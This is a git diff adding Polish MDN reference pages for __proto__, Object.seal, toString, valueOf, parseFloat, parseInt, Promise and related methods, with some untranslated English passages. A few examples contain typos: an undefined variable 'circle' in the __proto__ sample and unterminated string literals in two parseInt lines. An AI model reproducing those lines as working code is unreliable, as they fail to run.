+// Sprawdzenie prototypu obiektu
+console.log(ksztalt.__proto__ === kolo); // true
+
+ +
var ksztalt = function () {};
+var p =
+{
+    a: function ()
+    {
+        console.log('aaa');
+    }
+};
+ksztalt.prototype.__proto__ = p;
+
+var kolo = new ksztalt();
+kolo.a(); // aaa
+
+console.log(ksztalt.prototype === kolo.__proto__); // true
+
+// albo
+
+var ksztalt = function () {};
+var p =
+{
+    a: function ()
+    {
+        console.log('aaa');
+    }
+};
+
+var kolo = new ksztalt();
+kolo.__proto__ = p;
+circle.a(); // aaa
+
+console.log(ksztalt.prototype === kolo.__proto__); // false
+
+// albo
+
+function ksztalt() {};
+ksztalt.prototype.a = function ()
+{
+    console.log('aaa');
+}
+var kolo = new ksztalt();
+kolo.a(); // aaa
+
+console.log(kolo.__proto__ === ksztalt.prototype); // true
+
+// albo
+
+var ksztalt = function () {};
+ksztalt.prototype.a = function ()
+{
+    console.log('aaa');
+}
+
+var kolo =
+{
+    __proto__: ksztalt.prototype
+};
+kolo.a(); // aaa
+
+console.log(kolo.__proto__ === ksztalt.prototype); // true
+
+ +

Uwaga: __proto__ zapisujemy jako dwie podłogi, następnie pięć liter "proto", następnie dwie kolejne podłogi.

+ +

Opis

+ +

Metoda getter właściwości __proto__ daje nam dostęp do wewnętrznej wartości [[Prototype]] obiektu. Dla obiektów stworzonych przy użyciu literału jest to {{jsxref("Object.prototype")}}. Dla tablic stworzonych przy użyciu literału jest to {{jsxref("Array.prototype")}}. Dla funkcji ta wartość to {{jsxref("Function.prototype")}}. Dla obiektów stworzonych przy użyciu new Funkcja, gdzie Funkcja to jeden z wbudowanych konstruktorów dostarczanych przez JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, i tak dalej — wliczając nowe konstrukotry, które mogą zostać dodane w przyszłości), ta wartość to zawsze Funkcja.prototype. Dla obiektów stworzonych przy użyciu new Funkcja, gdzie Funkcja to funkcja zdefiniowana w kodzie, wartość ta przyjmuje taką samą wartość jak Funkcja.prototype.

+ +

Metoda setter właściwości __proto__ umożliwia modyfikowanie [[Prototype]] obiektu. W tym celu obiekt musi być roszerzalny według funkcji {{jsxref("Object.isExtensible()")}}, jeżeli nie jest {{jsxref("Global_Objects/TypeError", "TypeError")}} zostanie wyrzucony. Dostarczana wartość musi być obiektem albo typem {{jsxref("Global_Objects/null", "null")}}. Podanie jakiejkolwiek innej wartości nie zrobi nic.

+ +

Aby zrozumieć w jaki sposób prototypy używane są do dziedziczenia, zobacz artykuł o dziedziczeniu oraz łańcuchu prototypów.

+ +

Właściwość __proto__ jest prostym operatorem pamięci na {{jsxref("Object.prototype")}} składającym się z metody getter i setter. Dostęp do właściwości __proto__ który ostatecznie konsultuje się z {{jsxref("Object.prototype")}} znajdzie tę właściwość, ale dostęp który nie konsultuje {{jsxref("Object.prototype")}} nie znajdzie jej. Jeżeli jakaś inna właściwość __proto__ zostanie znaleziona, zanim {{jsxref("Object.prototype")}} zostanie skonsultowany, to właściwość ta przesłoni tą znalezioną w {{jsxref("Object.prototype")}}.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ES2015')}}Dołączony (normatywnie) jako jeden z dodatkowych ECMAScript legacy features dla przeglądarek (zauważ że specyfikacja jedynie ujednoliciła coś, co było już zaimplementowane w przeglądarkach).
{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarką

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("11")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Uwagi odnośnie kompatybilności

+ +

Mimo, że specyfikacja ECMAScript 2015 określa iż wsparcie dla __proto__ jest wymagane tylko dla przeglądarek internetowych (w zasadzie normatywnie), to inne środowiska równieź mogą wspierać tę funkcjonalność.

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/seal/index.html b/files/pl/web/javascript/reference/global_objects/object/seal/index.html new file mode 100644 index 0000000000..ba52ba9665 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/seal/index.html @@ -0,0 +1,165 @@ +--- +title: Object.seal() +slug: Web/JavaScript/Referencje/Obiekty/Object/seal +translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal +--- +
{{JSRef}}
+ +

Metoda Object.seal() "uszczelnia" obiekt, zabezpieczając przed dodaniem nowych właściwości oraz czyniąc wszystkie już istniejące jako niekonfigurowalne. Wartość znajdujące się już w obiekcie mogą być cały czas zmieniane tak długo dopóki posiadają atrybut writable.

+ +

Składnia

+ +
Object.seal(obj)
+ +

Parametry

+ +
+
obj
+
Obiekt który powinien zostać zamknięty.
+
+ +

Zwracana wartość

+ +

Uszczelniony obiekt.

+ +

Opis

+ +

Standardowo obiekty są {{jsxref("Object.isExtensible()", "extensible", "", 1)}} (nowe właściwości mogą być do nich dodawane). Zamknięcie obiektu zabezpiecza przed możliwością ich dodawania oraz oznacza wszystkie już obecne jako niekonfigurowalne. To skutkuje tym, że zestaw właściwości obiektu staje się niemutowalny. Sprawienie, że wszystkie właściwości są również niekonfigurowalne  zabezpiecza je przed byciem przekonwertowane na akcesory/mutatory i odwrotnie, jednak nie zapobiega to zmianie wartości. Próba usunięcia lub dodania nowych właściwości do uszczelnionego obiektu lub konwersja jakiejś właściwości do akcesorów/mutatorów zawiedzie bez wyjątku lub wywołując {{jsxref("TypeError")}} (tak jest najczęściej, choć nie całkowicie, kiedy skrypt jest w {{jsxref("Strict_mode", "strict mode", "", 1)}}).

+ +

Łancuch prototypów pozostaje nie zmieniony, jednakże właściwość {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} jest również niemożliwa do zmiany.

+ +

Examples

+ +
var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Nowe właściwości mogą być dodane,
+// istniejące - zmienione lub usunięte.
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // === true
+
+// Zmiana wartości na zamkniętym obiekcie nadal działa.
+obj.foo = 'quux';
+
+// Jednak nie możesz zmienić właściwości obieku do akcesorów i odwrotnie
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a TypeError
+
+// W tym momencie jakiekolwiek inne zmiany właściwości obiektu zawiodą
+obj.quaxxor = 'the friendly duck'; // nie doda właściwości, nie rzucając wyjątku
+delete obj.foo; // nie usunie właściwości, nie rzucając wyjątku
+
+// ...w trybie strict takie operacje będą rzucać wyjątkami.
+function fail() {
+  'use strict';
+  delete obj.foo; // rzuca TypeError
+  obj.sparky = 'arf'; // rzuca TypeError
+}
+fail();
+
+// Próba dodania właściwości przez Object.defineProperty zawiedzie
+Object.defineProperty(obj, 'ohai', { value: 17 }); // rzuca TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // zmienia istniejącą wartość
+
+ +

Uwagi

+ +

W ES5, jeżeli argumentem metody nie jest obiekt (jest to prymitywna struktura), spowoduje to wywołanie {{jsxref("TypeError")}}. W ES6, argument nie będący obiektem zostanie potraktowany jakby już był uszczelnionym, zwykłym obiektem i będzie zwrócony.

+ +
Object.seal(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.seal(1);
+// 1                             (ES6 code)
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}{{Spec2('ES5.1')}}Wstępna definicja. Implementowano w  JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}{{Spec2('ES6')}} 
+ +

Kompatybilność w przeglądarkach

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("6")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("9")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/tolocalestring/index.html b/files/pl/web/javascript/reference/global_objects/object/tolocalestring/index.html new file mode 100644 index 0000000000..1cd0074d45 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/tolocalestring/index.html @@ -0,0 +1,35 @@ +--- +title: Object.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Object/toLocaleString +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący obiekt. Ta metoda najczęściej jest przysłonięta przez pochodne obiekty.

+ +

Składnia

+ +
obj.toLocaleString();
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Object toLocaleString zwraca rezultat, który nazywamy {{jsxref("Object.toString", "toString()")}}.

+ +

Ta metoda jest dostarczona dając obiektom generującą metodę toLocaleString(), nawet mimo to nie wszystkie go używają. Aktualnie, tylko Array, Number i Date nadpisują toLocaleString.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/tosource/index.html b/files/pl/web/javascript/reference/global_objects/object/tosource/index.html new file mode 100644 index 0000000000..4aa67db90c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/tosource/index.html @@ -0,0 +1,73 @@ +--- +title: Object.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Object/toSource +tags: + - JavaScript + - Method + - Non-standard + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

Podsumowanie

+ +

Zwraca literał obiektowy reprezentujący kod źródłowy danego obiektu.

+ +

Składnia

+ +
Object.toSource();
+obj.toSource();
+
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda toSource() zwraca następujące wartości:

+ + + +

Metoda ta zazwyczaj jest używana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie. Można jednak wywołać toSource() podczas debugowania, by zbadać zawartość danego obiektu.

+ +

Przykłady

+ +

Przykład: Zastosowanie toSource()

+ +

Poniższy kod definiuje typ obiektowy Pies i tworzy instancję piesek jako obiekt typu Pies:

+ +
function Pies(nazwa) {
+  this.nazwa = nazwa;
+}
+
+Pies.prototype.toSource = function Pies_toSource() {
+  return 'new Pies(' + uneval(this.nazwa) + ')';
+};
+
+console.log(new Pies('Joe').toSource()); // ---> new  Pies("Joe")
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/tostring/index.html b/files/pl/web/javascript/reference/global_objects/object/tostring/index.html new file mode 100644 index 0000000000..e18d93d79a --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/tostring/index.html @@ -0,0 +1,98 @@ +--- +title: Object.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Object/toString +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący dany obiekt.

+ +

Składnia

+ +
obj.toString()
+ +

Opis

+ +

Każdy obiekt posiada metodę toString, która jest wywoływana automatycznie, kiedy obiekt ma zostać przedstawiony jako wartość tekstowa, albo kiedy obiekt jest dołączany do ciągu znakowego. Poniższe przykłady wymagają, by jakisPies był reprezentowany jako łańcuch znaków:

+ +
console.log(jakisPies);
+console.log("jakisPies to " + jakisPies);
+
+ +

Domyślnie metoda toString jest dziedziczona przez każdy obiekt wyprowadzony z obiektu Object. Można przesłonić tę metodę dla własnych obiektów. Jeśli toString nie zostanie przesłonięta we własnych obiektach użytkownika, zwróci ona [object + typ + ], gdzie + typ + jest typem obiektu lub nazwą funkcji konstruktora, która utworzyła ten obiekt.

+ +

Na przykład:

+ +
var o = new Object()
+o.toString() // zwraca "[object Object]"
+
+ +

Przykłady

+ +

Przesłanianie domyślnej metody toString()

+ +

Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody toString(). Metoda toString() nie pobiera żadnych argumentów i powinna zwrócić łańcuch znaków. Utworzona przez użytkownika metoda toString() może zwracać dowolną wartość, ale najlepiej, by przekazywała użyteczne informacje na temat obiektu.

+ +

Poniższy kod definiuje typ obiektowy Pies i tworzy obiekt jakisPies typu Pies:

+ +
function Pies(nazwa,rasa,wiek,plec) {
+   this.nazwa=nazwa;
+   this.rasa=rasa;
+   this.wiek=wiek;
+   this.plec=plec;
+}
+
+jakisPies = new Pies("Szarik","owczarek niemiecki","5","samiec");
+ +

Jeśli wywołana zostanie metoda toString tego obiektu, zwrócona zostanie domyślna wartość odziedziczona po Object:

+ +
jakisPies.toString(); // zwraca [object Object]
+
+ +

Poniższy kod tworzy funkcję piesToString, która to funkcja będzie przesłaniać domyślną metodę toString. Funkcja ta tworzy łańcuch znaków zawierający każdą własność; budowany łańcuch będzie postaci "własność = wartość;".

+ +
function piesToString() {
+   var ret = "Pies " + this.nazwa + " to: [\n";
+   for (var prop in this)
+      ret += " " + prop + " = " + this[prop] + ";\n";
+   return ret + "]";
+}
+
+ +

Poniższy kod przypisuje zdefiniowaną powyżej funkcję do metody toString obiektów typu obiektowego Pies:

+ +
Pies.prototype.toString = piesToString;
+
+ +

Dzięki powyższemu kodowi za każdym razem, kiedy jakisPies używany jest w kontekście łańcucha znaków, interpreter JavaScriptu automatycznie wywołuje funkcję piesToString, która zwraca poniższy łańcuch:

+ +
Pies Szarik to: [
+  nazwa = Szarik;
+  rasa = owczarek niemiecki;
+  wiek = 5;
+  plec = samiec;
+]
+
+ +

Metoda toString danego obiektu jest zazwyczaj wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie, jak poniżej:

+ +
var piesString = jakisPies.toString();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/valueof/index.html b/files/pl/web/javascript/reference/global_objects/object/valueof/index.html new file mode 100644 index 0000000000..db3cf7a346 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/valueof/index.html @@ -0,0 +1,63 @@ +--- +title: Object.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Object/valueOf +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf +--- +

{{jsRef}}

+ +

Podsumowanie

+ +

Zwraca wartość podstawową danego obiektu.

+ +

Składnia

+ +
object.valueOf()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

JavaScript wywołuje metodę valueOf() by przekonwertować obiekt do wartości podstawowej. Metodę valueOf rzadko wykorzystuje się w pisanych programach, zazwyczaj JavaScript wywołuje ją automatycznie, kiedy oczekując wartości podstawowej napotka obiekt.

+ +

Domyślnie metoda valueOf() jest dziedziczona przez każdy obiekt potomny obiektu {{jsxref("Object")}}. Każdy wbudowany obiekt jądra JavaScriptu przesłania tę metodą by zwracała właściwą wartość. Jeśli obiekt nie ma wartości podstawowej, valueOf() zwraca sam obiekt, który jest wyświetlany jako:

+ +
[object Object]
+
+ +

We własnych programach można oczywiście używać metody valueOf do konwersji obiektów na wartości podstawowe. Kiedy użytkownik tworzy własne obiekty, może przesłonić metodę valueOf() własną wersją.

+ +

Przesłanianie metody valueOf dla własnych obiektów

+ +

Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody valueOf. Taka funkcja nie powinna mieć argumentów.

+ +

Załóżmy, że mamy typ obiektowy MojTypLiczbowy i chcemy utworzyć dla niego metodę valueOf. Poniższy kod przypisuje zdefiniowaną przez użytkownika funkcję do metody valueOf obiektu:

+ +
MojTypLiczbowy.prototype.valueOf = new Function(tekstFunkcji);
+
+ +

Dzięki powyższej instrukcji za każdym razem, kiedy obiekt typu MojTypLiczbowy jest używany w kontekście wartości prostej, JavaScript automatycznie wywoła funkcję zdefiniowaną powyżej.

+ +

Metoda valueOf obiektu jest zwykle wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie:

+ +
mojaLiczba.valueOf();
+
+ +

Uwaga

+ +

Obiekty używane w kontekście łańcucha znaków konwertowane są przy użyciu metody toString, co różni się od konwertowania obiektów String do prostych łańcuchów znaków poprzez valueOf. Wszystkie obiekty posiadają konwersję do łańcucha znaków, choćby [object + typ + ]. Ale wiele obiektów nie posiada domyślnej konwersji do liczby, wartości logicznej lub funkcji.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/parsefloat/index.html b/files/pl/web/javascript/reference/global_objects/parsefloat/index.html new file mode 100644 index 0000000000..9afb58d074 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/parsefloat/index.html @@ -0,0 +1,68 @@ +--- +title: parseFloat() +slug: Web/JavaScript/Referencje/Obiekty/parseFloat +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Przetwarza argument w postaci łańcucha znaków zwracając liczbę zmiennoprzecinkową.

+ +

Składnia

+ +
parseFloat(string)
+ +

Parametry

+ +
+
string 
+
Łańcuch znaków do przetworzenia.
+
+ +

Opis

+ +

parseFloat() jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.

+ +

parseFloat() przetwarza argument będący łańcuchem znaków i zwraca liczbę zmiennoprzecinkową. Jeśli natknie się na znak inny niż +, -, liczbę (0-9), kropkę dziesiętną (".") lub wykładnik potęgi, zwraca wartość do tego miejsca i ignoruje dany znak oraz wszystkie dalsze znaki. Dozwolone są spacje na początku i na końcu łańcucha znaków.

+ +

Jeśli pierwszy znak nie może być przekonwertowany do liczby, parseFloat() zwraca NaN.

+ +

W zastosowaniach arytmetycznych, wartość NaN nie jest liczbą w żadnej podstawie wyliczeń (ang. + + radix + ). Aby stwierdzić, czy wynik parseFloat będzie NaN, można wywołać funkcję {{jsxref("isNan", "isNaN()")}}. Jeśli wartość NaN użyta zostanie w operacji arytmetycznej, wynikiem operacji także będzie NaN.

+ +

Uwaga: Funkcja parseFloat wymaga, aby punktem dziesiętnym była kropka, a nie przecinek. Zastosowanie przecinka spowoduje pominięcie części ułamkowej.

+ +

Przykłady

+ +

Przykład: parseFloat() zwraca liczbę

+ +

Wszystkie poniższe przykłady zwracają 3.14.

+ +
parseFloat("3.14");
+parseFloat("314e-2");
+parseFloat("0.0314E+2");
+parseFloat("3.14 więcej znaków nienumerycznych");
+ +

Przykład: parseFloat() zwraca NaN

+ +

Poniższy przykład zwraca NaN:

+ +
parseFloat("FF2");
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/parseint/index.html b/files/pl/web/javascript/reference/global_objects/parseint/index.html new file mode 100644 index 0000000000..fb05b9fc8e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/parseint/index.html @@ -0,0 +1,112 @@ +--- +title: parseInt() +slug: Web/JavaScript/Referencje/Obiekty/parseInt +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/parseInt +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Przetwarza argument w postaci łańcucha znaków i zwraca liczbę całkowitą typu + integer + , o zadanej podstawie.

+ +

Składnia

+ +
parseInt(string, radix);
+ +

Parametry

+ +
+
string 
+
Łańcuch znaków zawierający wartość do przetworzenia.
+
+ +
+
radix 
+
Liczba typu + integer + określająca podstawę powyższego łańcucha (np. 2 - system dwójkowy, 10 - system dziesiętny, przyp. tłum.)
+
+ +

Opis

+ +

parseInt jest funkcją najwyższego poziomu i nie jest związana z żadnym obiektem.

+ +

Funkcja parseInt parsuje jej pierwszy argument, łańcuch znaków, i próbuje zwrócić liczbę całkowitą typu + + integer + o podanej podstawie. Na przykład, podstawa 10 oznacza że liczba w łańcuchu jest liczbą dziesiętną, podstawa 8 - ósemkową, 16 - szesnastkową (heksadecymalną), itd. Dla podstaw większych niż 10, litery alfabetu oznaczają cyfry większe niż 9. Dla przykładu, dla liczb szesnastkowych (o podstawie 16), używane są litery od A do F.

+ +

Jeśli parseInt natknie się na znak nie będący cyfrą o danej podstawie, ignoruje ona ten znak i wszystkie następne znaki, a następnie zwraca wartość przetworzoną do tej pory. parseInt przycina liczby do wartości całkowitych. Początkowe i grupujące spacje są dozwolone.

+ +

Jeśli podstawa nie jest podana lub jest podana jako 0, JavaScript przyjmuje:

+ + + +

Jeśli pierwszy znak nie może być skonwertowany na liczbę, parseInt zwraca NaN.

+ +

Dla potrzeb arytmetycznych, wartość NaN nie jest liczbą o żadnej podstawie. Możesz wywołać funkcję {{jsxref("isNaN", "isNaN()")}}, by stwierdzić czy wynik parseInt będzie NaN. Jeśli NaN jest podane do jakichkolwiek operacji arytmetycznych, wynikiem tych operacji również będzie NaN.

+ +

Przykłady

+ +

Przykład: Zastosowanie parseInt()

+ +

Wszystkie poniższe przykłady zwracają 15:

+ +
parseInt(" 0xF, 16);
+parseInt(" F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt(15.99, 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+ +

Wszystkie poniższe przykłady zwracają NaN:

+ +
parseInt("Hello", 8); // nie jest wcale liczbą
+parseInt("546", 2); // te cyfry nie są używane do zapisu liczb binarnych
+ +

Wszystkie poniższe przykłady zwracają -15:

+ +
parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt("-15.1, 10);
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+
+ +

Wszystkie poniższe przykłady zwracają 224:

+ +
parseInt("0e0", 16);
+ +

 

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/promise/index.html b/files/pl/web/javascript/reference/global_objects/promise/index.html new file mode 100644 index 0000000000..3da2498ca1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/promise/index.html @@ -0,0 +1,256 @@ +--- +title: Promise +slug: Web/JavaScript/Referencje/Obiekty/Promise +tags: + - JavaScript + - Obietnice +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +--- +
{{JSRef}}
+ +

Obiekt Promise reprezentuje ewentualne zakończenie (lub porażkę) asynchronicznej operacji i jej wartości.

+ +
+

Artykuł opisuje konstruktor, metody i właściwości obiektu Promise. By nauczyć się jak działają obietnice i jak można ich używać zalecamy przeczytać najpierw Użycie obietnic . Ten konstruktor jest głównie używany do opakowania funkcji, które nie wspierają jeszcze obietnic.

+
+ +
{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}
+ + + + + +

Składnia

+ +
new Promise( /* wykonawca */ function(resolve, reject) { ... } );
+ +

Parametry

+ +
+
wykonawca (executor)
+
Funkcja przekazywana z argumentami resolve i reject. Funkcja ta wykonywana jest natychmiast przez implementację obietnicy, przekazując funkcje resolve i reject (ta funkcja jest wywoływana, zanim konstruktor Promise zwróci utworzony obiekt). Funkcje resolve i reject , gdy są wywoływane, odpowiednio rozwiązują lub odrzucają obietnicę. Ta funkcja zwykle inicjuje pracę asynchroniczną, a następnie, po jej zakończeniu, wywołuje funkcję resolve w celu rozwiązania obietnicy lub odrzuca ją, jeśli wystąpił błąd. Jeśli błąd zostanie zgłoszony w tej funkcji, obietnica zostaje odrzucona. Wartość zwracana tej funkcji jest ignorowana.
+
+ +

Opis

+ +

Promise jest proxy dla wartości niekoniecznie znanej, gdy jest tworzona. Pozwala na kojarzenie uchwytu z ewentualnym sukcesem lub porażką asynchroniczne akcji. Pozwala to metodom asynchronicznym zwracać wartości takie jak metody synchroniczne, zamiast natychmiastowego zwracania wartości końcowej, metoda asynchroniczna zwraca obietnicę dostarczenia wartości w pewnym momencie w przyszłości.

+ +

Promise jest dostępny w jednym z tych stanów:

+ + + +

Obowiązująca objetnica może być zakończona z wartością lub odrzucona z powodem(błędem). Kiedy dzieje się jedna z tych opcji, wywoływane są zakolejkowane, powiązane za pomocą metody then procedury. (Jeśli obietnica została już spełniona lub odrzucona, gdy dołączony jest odpowiedni moduł obsługi, zostanie on wywołany, więc nie ma potrzeby wyścigu między zakończeniem operacji asynchronicznej a jej obsługą).

+ +

Tak jak w {{jsxref("Promise.then", "Promise.prototype.then()")}} oraz {{jsxref("Promise.catch", "Promise.prototype.catch()")}} gdy metoda zwróci obietnice, mogą one być łączone w łańcuchy.

+ +

+ +
+

Nie mylić z: Kilka innych języków ma mechanizmy leniwego oceniania i odraczania obliczeń, które nazywają również "obietnicami", np. Scheme. Obietnice w JavaScript oznaczają procesy, które już się odbywają, które mogą być powiązane z funkcjami wywołania zwrotnego. Jeśli chcesz leniwie oceniać wyrażenie, rozważ  funkcje strzałkowe bez argumentów: f = () => wyrażenie by stworzyć leniwo oszacowane wyrażenie, i f() by ocenić.

+
+ +
+

Mówi się, że obietnica zostanie uregulowana, jeśli zostanie spełniona lub odrzucona, ale nie oczekuje na rozpatrzenie. Usłyszysz także termin rozwiązany używany z obietnicami - oznacza to, że obietnica jest ustalona lub "zamknięta", aby dopasować się do stanu innej obietnicy. Stany i losy zawierają więcej szczegółów na temat obiecanej terminologii.

+
+ +

Właściwości

+ +
+
Promise.length
+
Właściwość Length, której wartość wynosi zawsze 1 (liczba argumentów konstruktora).
+
{{jsxref("Promise.prototype")}}
+
Reprezentuje prototyp konstruktora Promise.
+
+ +

Metody

+ +
+
{{jsxref("Promise.all", "Promise.all(iterable)")}}
+
Zwraca obietnice, która albo kończy się sukcesem gdy wszystkie z obietnic w iterable się zakończą powodzeniem lub kończy sie porażką tak szybko jak jedna z obietnic skończy się porażką. Jeżeli zwrócona obietnica kończy się sukcesem jest ona wypełniana tablicą wartości z obietnic zakończonych sukcesem w takim samym układzie jak były one zdefiniowane w iterable. Jeżeli zwrócona obietnica zakończyła się porażką, jest ona odrzucana z Powodem z pierwszej obietnicy w iterable, która zakończyła się porażką. Ta metoda może być pomocna do zachowywania rezultatów różnych obietnic.
+
{{jsxref("Promise.race", "Promise.race(iterable)")}}
+
Returns a promise that fulfills or rejects as soon as one of the promises in the iterable fulfills or rejects, with the value or reason from that promise.
+
+ +
+
{{jsxref("Promise.reject", "Promise.reject(reason)")}}
+
Returns a Promise object that is rejected with the given reason.
+
+ +
+
{{jsxref("Promise.resolve", "Promise.resolve(value)")}}
+
Returns a Promise object that is resolved with the given value. If the value is a thenable (i.e. has a then method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you don't know if a value is a promise or not, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.
+
+ +

Promise prototype

+ +

Właściwości

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}

+ +

Metody

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}

+ +

Tworzenie Promise

+ +

A Promise object is created using the new keyword and its constructor. This constructor takes as its argument a function, called the "executor function". This function should take two functions as parameters. The first of these functions (resolve) is called when the asynchronous task completes successfully and returns the results of the task as a value. The second (reject) is called when the task fails, and returns the reason for failure, which is typically an error object.

+ +
const myFirstPromise = new Promise((resolve, reject) => {
+  // do something asynchronous which eventually calls either:
+  //
+  //   resolve(someValue); // fulfilled
+  // or
+  //   reject("failure reason"); // rejected
+});
+
+ +

To provide a function with promise functionality, simply have it return a promise:

+ +
function myAsyncFunction(url) {
+  return new Promise((resolve, reject) => {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () => resolve(xhr.responseText);
+    xhr.onerror = () => reject(xhr.statusText);
+    xhr.send();
+  });
+}
+ +

Przykłady

+ +

Podstawowy przykład

+ +
let myFirstPromise = new Promise((resolve, reject) => {
+  // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed.
+  // In this example, we use setTimeout(...) to simulate async code.
+  // In reality, you will probably be using something like XHR or an HTML5 API.
+  setTimeout(function(){
+    resolve("Success!"); // Yay! Everything went well!
+  }, 250);
+});
+
+myFirstPromise.then((successMessage) => {
+  // successMessage is whatever we passed in the resolve(...) function above.
+  // It doesn't have to be a string, but if it is only a succeed message, it probably will be.
+  console.log("Yay! " + successMessage);
+});
+
+ +

Zaawansowany Przykład

+ + + +

This small example shows the mechanism of a Promise. The testPromise() method is called each time the {{HTMLElement("button")}} is clicked. It creates a promise that will be fulfilled, using {{domxref("window.setTimeout()")}}, to the promise count (number starting from 1) every 1-3 seconds, at random. The Promise() constructor is used to create the promise.

+ +

